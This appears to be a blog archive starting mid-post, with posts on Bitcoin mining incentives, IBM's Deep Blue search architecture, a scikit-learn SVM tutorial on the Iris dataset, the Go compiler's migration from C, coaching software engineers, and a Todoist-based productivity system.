As this network is completely decentralized, multiple versions of the blockchain can exist at any given time, but the network is designed to pick the longest chain from the different variants and so eventually gravitates to that.

The network assumes no trust in its peers and validates each block for consistency and erroneous or malformed blocks are discarded.** Incentives**

Mining is a critical part of the running Bitcoin network, and there are incentives in the protocol to make it worthwhile for miners to solve these computationally intensive problems that are required to keep the network in operation. Each mined block has a reward associated with it, so whoever wins the race to generate the correct block gets 50 Bitcoins. This number halves every 210,000 blocks.

As of today, the reward for mining a Bitcoin is 12.5 BTC.

Source: https://en.bitcoin.it/wiki/Controlled_supply

When mining is no longer possible, the miner who successfully generates a new block is also incentivized with transaction fees. This is the difference between the input and the output of a transaction.

Reference: Nakamoto, Satoshi. "Bitcoin: A Peer-to-Peer Electronic Cash System." (2008).

Armed with this knowledge, proceed to part 2 of this three part series on Dissecting Bitcoin that will cover some challenges in Bitcoin.

Nearly twenty years to this day, in May 1997, a machine that IBM built challenged then world chess champion Garry Kasparov to a six game match, and won.

An year earlier, in 1996, a similar match between the IBM built Deep Blue and Garry Kasparov ended with Kasparov winning the series comfortably. That was when IBM went back to the drawing board to make some significant changes to the architecture of Deep Blue to come back even stronger the following year. Think machines don’t feel the sting of defeat?

The match

This clash between man and machine had all the hallmarks of a thriller, one that is best enjoyed by the nerdier demographic. Chess has been the poster child for computer scientists working on advanced algorithms and techniques in artificial intelligence for decades, and the face off in 1997 was the culmination of the work of many brilliant minds.

It's all about search

Deep Blue used a hybrid search approach that combined both software and hardware search for maximum effect. The upper levels of the search take place in software and made use of transposition tables for improving search efficiency. The leaf positions are distributed to the specialized hardware chess chips where fixed-depth null window alpha-beta and quiescence search takes place. There were 16 such chips per processor in the 30-node RS/6000SP system and the host processor distributes the work to chess chips and uses MPI (Message Passing Interface) for communication with other nodes over a high speed switch to run a distributed and parallel search.

After the defeat in 1996, one of the key changes that the IBM team implemented was an improved chess chip that was able to run a re-designed evaluation function that looked at over 8000 features, compared to 6400 the previous year. The chip also included efficiency improvements that boosted its search speed by 2 to 2.5 million positions per second per chip. The distributed architecture of 480 such chips across 30-nodes of IBM RS/6000SP were able to achieve the maximum sustained speed of searching 330 million positions per second in the 1997 match with Gary Kasparov. While further tuning and pruning could have extended the search depth further, this was sufficient for gaining the edge over Kasparov.

Deep Blue also featured a hand curated opening book of 4,000 positions by chess Grandmasters. The system included the capability to customize the repertoire in an “override” book to suit match situations and last minute corrections. It was also able to tap into an extended book of a 700,000 game database by Grandmasters to reference in the case the opening book was insufficient. In addition, an end game database of all positions with 5 or fewer pieces was included on 20-GB RAID disk arrays for online lookup by Deep Blue.

Neural networks and re-inforcement learning

To defeat Kasparov, it took a hybrid search architecture of both software and hardware search to provide a large search capability, a highly parallelized distributed search along with an effective evaluation function that considered over 8,000 features, 4,000 hand curated opening positions and database of 700,000 games.

While Deep Blue zipped through 200 million positions every second to attempt to figure out the best move, Kasparov relied on a tiny fraction of that speed to be competitive.

In recent years, new approaches to solving chess that make use of deep neural networks instead of brute force has yielded positive results. By using annotated data sets such a system can be trained to play chess like a beginner would. Such a system can then be bootstrapped to play against itself and go through many iterations of deep re-inforcement learning to yield better and better "skill" where the game play abilities are built organically than hand coded. Such a system does not rely on being able to see many steps ahead and instead relies on a kind of positional intuition, the same kind that humans depend on, to determine the best move. Is this the future of chess AI? Let's wait and see.

Machine learning and artificial intelligence has been going through a phase of democratization to the point that in recent years the barrier to entry for technologies that can be used to build intelligent and self learning applications is at an all time low. I will show just how easy it is to get started with machine learning by walking you through building a simple classifier using open source technologies.

For this example, we use a publicly available multi-variate data set for the identification of three species of the Iris flower based on the length and width of its sepals and petals. The British statistician and biologist Ronald Fisher collected 50 measurements each of the three species of the Iris flower on one fine day in a lush pasture in the Gaspé Peninsula and recorded the measurements of the length and width of the sepals and petals that can be used to identify the exact species of the Iris flower. Here’s a snippet of the dataset for the three species:

What I’m going to show you, is how we can use this simple data set to train a classifier using machine learning techniques. But what is a classifier? In this case, it’s something that can tell you the species of the flower given the sepal and petal characteristics.

Why machine learning you may ask, when you can simply write a bunch of if conditions? While possible, as the data set grows, individually checking the characteristics is going to be tedious. And what’s more, those rules gets hardcoded so that when new characteristics emerge it becomes increasingly difficult to manage it by hand. That’s where machine learning and the associated statistical techniques become a great way to codify the rules, or features as it’s known in data science parlance, and encode it in a model that’s capable of “learning” the associations from features to species on it’s own, and be able to do so continually.

There are many such classification algorithms out there, each with it’s own strengths and weaknesses. So there really is no one algorithm that fits all. For this example, we will use Support Vector Machine (SVM) and in a later post do a quick comparison with Decision Trees, KNN and Random Forest.

For this, you’re going to need Python and scikit-learn. I’ll assume you have Python setup already and have some working knowledge of the language, and if you don’t, an hour is all you need. I’ll assume Python 3+ for this exercise and for folks who would like to simplify their lives when using both Python 3+ and 2.7, do check out the Anaconda distribution.

To get started:

pip3 install scikit-learn

Let us now build and train the classifier in 4 lines of Python code:

from sklearn import datasets, svm
iris = datasets.load_iris()
svm_classifier = svm.SVC(gamma=0.001)
svm_classifier.fit(iris.data, iris.target)

Line 1: Import datasets and svm objects from the sklearn module

Line 2: The scikit-learn package comes with the iris dataset built in, so a simple call to datasets.load_iris() pulls up the features that you saw in the table earlier.

The data looks a little like this:

[[ 5.1,  3.5,  1.4,  0.2],
[ 4.9,  3. ,  1.4,  0.2],
[ 4.7,  3.2,  1.3,  0.2],
[ 4.6,  3.1,  1.5,  0.2],
[ 5. ,  3.6,  1.4,  0.2],
...

This is a list of arrays with sepal and petal lengths and widths of the Iris flower.

Line 3: This is where the appropriate classification algorithm is instantiated. Here we choose to instantiate the SVM algorithm. Each algorithm comes with it’s own set of tunables that can be used to tweak the functioning of the model and its accuracy.

Line 4: This is where the training happens. We take the features from the data set and tell the classifier what each of them are supposed to be. The iris.target object contains an array of 150 elements that map to each of the arrays in the data set that tell the classifier the associated species of the flower.

[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2]

The numbers 0, 1 and 2 correspond to the the three species setosa, versicolor and virginica. The type of flower is known as a label and is used by the classifier to create the model to map the features so that it’s later able to identify and classify the species provided the same or similar features as input. This is known as supervised learning.

At this point, we now have an SVM model that has been trained with the data required to identify and classify the three species of the Iris flower provided the sepal lengths and widths. Let’s see how that can be done:

def classify(classifier, data):
  species = {
    0: "I. setosa",
    1: "I. versicolor",
    2: "I. virginica"
  }
  cls = classifier.predict(data)
  print ("{} = {}".format(data, species.get(cls[0])))

We have created a method above, that when given the classifier that we trained in the previous step and some data, it uses the model to classify the type of flower and print to the console what type of flower it is. Since the model used 0, 1 and 2 to identify the species of the flower, it needs to get mapped to the human readable name of the flower.

This above method can be invoked as follows:

classify(svm_classifier, [[5.1, 3.5, 1.4, 0.2]])
classify(svm_classifier, [[5.7, 3.0, 4.2, 1.2]])
classify(svm_classifier, [[6.5, 3.0, 5.2, 2.0]])

And you’ll see the following output indicating correct classification in all three cases:

[[5.1, 3.5, 1.4, 0.2]] = I. setosa
[[5.7, 3.0, 4.2, 1.2]] = I. versicolor
[[6.5, 3.0, 5.2, 2.0]] = I. virginica

Here’s the complete program:

from sklearn import datasets, svm
def classify(classifier, data):
  species = {
    0: "I. setosa",
    1: "I. versicolor",
    2: "I. virginica"
  }
  cls = classifier.predict(data)
  print ("{} = {}".format(data, species.get(cls[0])))
iris = datasets.load_iris()
svm_classifier = svm.SVC(gamma=0.001)
svm_classifier.fit(iris.data, iris.target)
classify(svm_classifier, [[5.1, 3.5, 1.4, 0.2]])
classify(svm_classifier, [[5.7, 3.0, 4.2, 1.2]])
classify(svm_classifier, [[6.5, 3.0, 5.2, 2.0]])

Have fun with machine learning!

Over the weekend, I came across a couple of videos on how the Go compiler was migrated from C to Go. The Go compiler was originally written in C and after it reached a certain level of maturity, the creators were looking at how to bootstrap the compiler in Go so that the language can inherit some of the benefits of Go and to be able to do things that would not have been possible if still based on C.

Here's the first video from the GopherCon where Russ Cox talks about his approach:

And here's a session by Rob Pike the following year on how it went, with further details on the migration:

The approach is brilliant in theory and goes somewhat like this:

1. Parse the C code using a simple yacc parser

2. Generate parse tree. Tweak the tree to fix and re-write C-isms

3. Traverse the parse tree and output corresponding Go code

4. Compile Go code and validate output by comparing with C-based Go compiler

5. Repeat till both compilers generate the same output A caveat is that the C parser from step 1 is a very specialized one built according to a very specific dialect followed by the original authors and not intended to be a general purpose converter which is a much bigger problem. Also, it was not a 100% automatic process and there’s still some code that needs to be hand rolled, but this makes the job of conversion easier, which would otherwise have been a tedious job.

Once converted to Go, the process of refactoring, profiling and restructuring can take place to evolve the code base using the Go toolchain.

And that's how it's done, folks.

Software engineers are a breed apart and coaching them to bring out their best has almost been a passion for me. I’ve had the pleasure of working with really good software engineers and watching them climb the ranks and achieve their career objectives has been especially fulfilling over the years. Here are a few learnings along the way:

Each individual is different

There’s no cookie cutter approach to coaching software engineers. Each individual comes with their own strengths and areas that require improvement to achieve success in the fast moving workplace. Begin by identifying strengths and areas of improvement in the eyes of the individual first and work your way through the mentoring session. It’s possible that the areas of improvement that you had in mind has already been identified by the individual which makes the coaching more individualized and effective and reduces the judgement involved. Remember, it’s about the development of the individual, and not about your ability to identify and “fix” people.

Relate a personal story

It’s quite possible that you had the same problem in your career and had to deal with it yourself. The knowledge of your story and how you overcame it will help the individual relate to the problem better and take the stigma out of it. Get as personal as you require and don’t worry about appearing stupid — remember the goal from the earlier point, it’s about developing the individual.

Continual learning as a requisite for growth

Software engineering in particular requires constant investment to be able to keep up with the pace of change that is taking place in the industry. It’s important to stress how continual learning is mandatory for growth in the information culture. Folks that don’t make it a point to learn, investing their free time — evenings and weekends — end up not progressing far in their careers. It’s a universal rule, and it doesn’t matter how far up the hierarchy an individual already is, this attribute alone can make or break an individual’s career.

Give them wings

It’s natural to want to keep a great player in your team, but once they reach a certain point, give them wings so they get the kinds of experiences that would help them grow to the next level. This may involve moving them to different departments or geographies that would give them fresh experiences and opportunities to understand a different perspective of the business. Keep the individual in mind and do what’s right for them. If you follow this practice, the ranks will grow to accommodate similarly talented individuals as success stories spread within the organization. It’s not a zero sum game.

Develop soft skills

In my experience, more often that not, software engineers tend to have higher IQ but lower EQ. Help individuals develop their soft skills and provide opportunities for them to exercise their new skills so that they become rounded individuals. Take pleasure in watching them transform from their introverted, awkward selves to rock star software engineers that exude confidence and capability.

Identify needs of the individual

Identify where they are in the hierarchy of needs and where they want to be and coach them to get there. As mentioned earlier, each individual is different, so customize the prescription individually.

Let them go

As a leader, if you follow this with your teams, attrition of your staff will be low. However, you will have to deal with talented engineers leaving the team. Don’t take it personally, although it doesn’t hurt to be introspective to see if there’s anything you would need to change, as there may quite well be — remember, employees leave managers. The move very well could be in the best interest of the individual, and in such cases, dial back the recovery pitch and let them go, while leaving the communication channels open. Stay connected with them and be a cheerleader for their success and don’t discount the paths crossing in the future. It really is a small world out there.

Two years ago, I pulled out my dusty copy of David Allen’s “Getting Things Done” and decided to do a another skim through. Things were getting out of hand and I really needed to get my act together in managing the daily barrage of endless activity. It was during that reading that things somewhat clicked and I decided to come up with my own personalized system to get things under control.

Here are a few things that I’ve learnt during the journey.

Write things down

Despite millions of years of evolution, our brains really aren’t that good at keeping concurrent threads of thought. What they’re really good at is reminding us of things we have to do at the least opportune moment. Both of these “attributes” is the primary cause of stress in our lives as we attempt to valiantly juggle a multitude of threads, and even fool ourselves into thinking that we’re actually good at it.

The first step is to dump everything floating in your head into a trusted system. This trusted system is a very subjective thing. It could be something as simple as a notepad, a todo list app, Excel. Anything really. Just dump it. It can be a very cathartic experience.

Sort it

Once everything that has been bugging you is on paper (or screen), sort through the mess and group them, nest them, highlight them and prioritize them. Things begin to feel less daunting and complicated. Exactly how you do this is up to you, and over time you will evolve your own, unique system that works for you. No single app, tool, product will meet your specific requirements. Choose something that allows you to be flexible in how you setup this system.

Some folks like to create projects and group tasks inside them. Others like to tag. Some like to do both, so they can drill into a particular context and yet be able to query across using tags. Figure out which approach works for you over time, by making tweaks to your very own personalized productivity system so that it evolves with your needs.

Go beyond wishful thinking, and act!

Figure out your goals and dreams and what you want to achieve in life. Break those into bite size chunks and add it to your system. Goals without action is just wishful thinking.

Schedule tasks, create reminders and plan your day, daily

Use technology to unburden your already overloaded conscious brain. Create reminders for things that you need to do, so that you don’t remember it when you cannot do anything about it. Plan your day every morning and check if you’re taking at least one step in the direction that you want. Prioritize the activities that must get done during the day, and focus on it. Setup daily habits, and begin to change your life one tick at a time.

Make it easy to capture a task quickly, as moments of inspiration can be fleeting.

Daily, weekly review

Periodically measure your progress against your goals. You may not achieve everything, as willpower is a fickle fickle thing and you will soon realize that managing your limited reserve of willpower to do the things that are most important to you is what this is all about.

Now clear your mind

With the system in place, let your mind free. No longer do you have to keep everything in your mind. Focus only on the task at hand, and when it’s done, pick the next and move on. Let the system remind you when you need reminding and reduce the incessant chatter that’s going through your head. You will feel much lighter and in control.** My personal system**

Personally, I’ve built my system around Todoist. It’s a wonderfully neat little tool that competes in the unenviably saturated space of todo list apps and yet somehow blows away the competition through a simple and omnipresent solution that works on a wide variety of platforms. I primarily use Todoist on Android and in Chrome as an extension that lets me access my daily priorities with ease and makes capturing a task a snap. I’ve literally used it every day in the last one and half years and I couldn’t be happier with it. And no, I’m not getting paid to say this.

What I’ve found is that through this, I’ve been able to achieve way more than I would have if I didn’t have such a system, with less stress and anxiety. Hopefully this helps in you in some way, as you discover your very own path. The journey is worth it.